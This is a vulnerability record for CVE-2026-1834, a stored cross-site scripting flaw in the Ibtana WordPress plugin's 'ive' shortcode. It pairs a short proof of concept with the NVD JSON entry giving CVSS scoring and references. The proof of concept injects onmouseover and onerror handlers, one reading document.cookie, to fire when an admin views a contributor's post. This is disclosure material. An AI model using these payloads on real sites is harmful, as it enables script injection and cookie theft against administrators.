CVE-2026-1834

<!-- PoC for CVE-2026-1834 Stored XSS --> <!-- Attacker with Contributor access creates a post with the following content --> [ive_countdown datetime="2026-12-31" onmouseover="alert('XSS_by_CVE-2026-1834')"] <!-- Alternatively, injecting into a generic attribute if specific element is not known --> [ive_element class="x" onerror="alert(document.cookie)"] <!-- When an admin views this post, the alert triggers -->

{"cve": {"id": "CVE-2026-1834", "sourceIdentifier": "[email protected]", "published": "2026-03-31T06:16:00.337", "lastModified": "2026-04-24T18:11:16.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ibtana – WordPress Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ive' shortcode in all versions up to, and including, 1.2.5.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Ibtana – WordPress Website Builder para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode 'ive' del plugin en todas las versiones hasta la 1.2.5.7, inclusive, debido a la sanitización insuficiente de la entrada y al escape de la salida en los atributos proporcionados por el usuario. Esto permite a atacantes autenticados, con acceso de nivel de colaborador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ibtana-visual-editor/tags/1.2.5.6/ive-countdown.php#L402", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ibtana-visual-editor/tags/1.2.5.6/ive-countdown.php#L637", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ibtana-visual-editor/tags/1.2.5.6/ive-countdown.php#L777", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3485257/ibtana-visual-editor", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b6a54d91-da79-43a3-affd-e8026e342d95?source=cve", "source": "[email protected]"}]}}